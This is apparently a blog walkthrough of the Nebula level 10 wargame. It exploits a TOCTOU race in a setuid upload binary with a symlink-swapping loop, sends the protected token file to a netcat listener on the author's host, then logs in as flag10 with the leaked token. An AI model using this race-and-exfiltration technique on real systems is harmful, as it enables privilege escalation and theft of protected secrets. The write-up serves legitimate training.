Post

Exploit Exercises: Nebula Level 10

Image of Nebula Terminal

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.

Source code

(basic.c)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

Solution

Unfortunately for this challenge, the team from Exploit Exercises forgot an important file straight in the home folder of level 10 user! At first, I could not believe it, but here is the write up of it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
level10@nebula:~$ ls -al
total 11
drwxr-x--- 1 level10 level10   60 Oct 31 14:43 .
drwxr-xr-x 1 root    root      60 Aug 27  2012 ..
-rw-r--r-- 1 level10 level10  220 May 18  2011 .bash_logout
-rw-r--r-- 1 level10 level10 3353 May 18  2011 .bashrc
drwx------ 2 level10 level10   60 Oct 31 14:43 .cache
-rw------- 1 level10 level10   43 Aug 19  2012 .lesshst
-rw-r--r-- 1 level10 level10  675 May 18  2011 .profile
-rw------- 1 level10 level10 4283 Aug 19  2012 .viminfo
-rw-rw-r-- 1 level10 level10  382 Aug 19  2012 x
level10@nebula:~$
Here we can observe the file called "x" and it reveals the following:
level10@nebula:~$ cat x | grep 6
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
level10@nebula:~$
Hmmm, weeeeellll…​ That’s the password of your target account called flag10. Let’s take the flag!
level10@nebula:~$ ssh flag10@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


flag10@localhost's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

flag10@nebula:~$ getflag
You have successfully executed getflag on a target account
flag10@nebula:~$

And that’s it! We have completed out task. What we learned? Nothing! Now let’s get back to the intended task. Contents of the flag10 user account home folder:

1
2
3
4
5
6
7
8
9
10
level10@nebula:/home/flag10$ ls -al
total 14
drwxr-x--- 2 flag10 level10   93 Nov 20  2011 .
drwxr-xr-x 1 root   root      60 Aug 27  2012 ..
-rw-r--r-- 1 flag10 flag10   220 May 18  2011 .bash_logout
-rw-r--r-- 1 flag10 flag10  3353 May 18  2011 .bashrc
-rw-r--r-- 1 flag10 flag10   675 May 18  2011 .profile
-rwsr-x--- 1 flag10 level10 7743 Nov 20  2011 flag10
-rw------- 1 flag10 flag10    37 Nov 20  2011 token
level10@nebula:/home/flag10$

And here are the most important files:

1
2
3
4
5
6
7
level10@nebula:/home/flag10$ file flag10
flag10: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level10@nebula:/home/flag10$
And the surprise:
level10@nebula:/home/flag10$ cat token
cat: token: Permission denied
level10@nebula:/home/flag10$

I bet we have to retrieve the token somehow in order to log in to our target account log10 (same as in the above file). Let’s take a look at our files.

1
2
3
4
5
6
7
8
9
10
level10@nebula:/home/flag10$ ls -al
total 14
drwxr-x--- 2 flag10 level10   93 Nov 20  2011 .
drwxr-xr-x 1 root   root      60 Aug 27  2012 ..
-rw-r--r-- 1 flag10 flag10   220 May 18  2011 .bash_logout
-rw-r--r-- 1 flag10 flag10  3353 May 18  2011 .bashrc
-rw-r--r-- 1 flag10 flag10   675 May 18  2011 .profile
-rwsr-x--- 1 flag10 level10 7743 Nov 20  2011 flag10
-rw------- 1 flag10 flag10    37 Nov 20  2011 token
level10@nebula:/home/flag10$

Only flag10 user account can access the token file, or an another vulnerable SUID applications like flag10 elf (SUID permissions: -rwsr-x—). Let’s take a look at our source code.

1
if(access(argv[1], R_OK) == 0) {

This tells all everything about this level. From the man page (level10@nebula:/home/flag10$ man access):

  • access() checks whether the calling process can access the file path‐name.
  • The check is done using the calling process’s real UID and GID, rather than the effective IDs as is done when actually attempting an operation (e.g., open(2)) on the file.

Also inside this IF statement we have:

1
ffd = open(file, O_RDONLY);

⇒ In other words this is a a time-of-use to time-of-check or TOCTOU bug (https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use).

⇒ If we can swap out the file between the time-of-check and the time-of-use, we should be able to send token.

⇒ Race condition! Let’s try!

Nebula system:

1
2
3
4
5
6
7
8
9
10
11
level10@nebula:/home/flag10$ nano /tmp/token
level10@nebula:/home/flag10$ cat /tmp/token
Here I have full access.
level10@nebula:/home/flag10$
Personal system:
root@yourcomputer:~$ nc -l 18211
Nebula system:
level10@nebula:/home/flag10$ ./flag10 /tmp/token 192.168.56.1
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
level10@nebula:/home/flag10$

Personal system:

1
2
3
root@yourcomputer:~$ nc -l 18211
.oO Oo.
Here I have full access.

⇒ If I have access to my token file then I can get my token.

Hmmm. Do you remember our friendly command “ln”? Is there enough delay between our link and our access permissions? While true?

Personal system:

1
2
root@yourcomputer:~$ nc -lk 18211
"k" for "non-stop listening".

Nebula system (terminal 1):

1
2
level10@nebula:~$ cd /tmp
level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token test; ln -sf /tmp/token test; done

Nebula system (terminal 2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
level10@nebula:/tmp$ cd /tmp/
level10@nebula:/tmp$ ls -al
total 4
drwxrwxrwt 4 root    root    120 Nov  6 14:13 .
drwxr-xr-x 1 root    root    220 Nov  6 13:24 ..
drwxrwxrwt 2 root    root     40 Nov  6 13:24 .ICE-unix
drwxrwxrwt 2 root    root     40 Nov  6 13:24 .X11-unix
lrwxrwxrwx 1 level10 level10  18 Nov  6 14:13 test -> /home/flag10/token
-rw-rw-r-- 1 level10 level10  25 Nov  6 13:46 token
level10@nebula:/tmp$  while true; do /home/flag10/flag10 /tmp/token 192.168.56.1; done
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.56.1:18211 .. Connected!

< sniiiiiiiiip >

Personal system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@yourcomputer:~$ nc -lk 18211
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.

< sniiiiip >

.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

And for the big final of our race condition:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
level10@nebula:~$ ssh flag10@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


flag10@localhost's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

flag10@nebula:~$ getflag
You have successfully executed getflag on a target account
flag10@nebula:~$
This post is licensed under CC BY 4.0 by the author.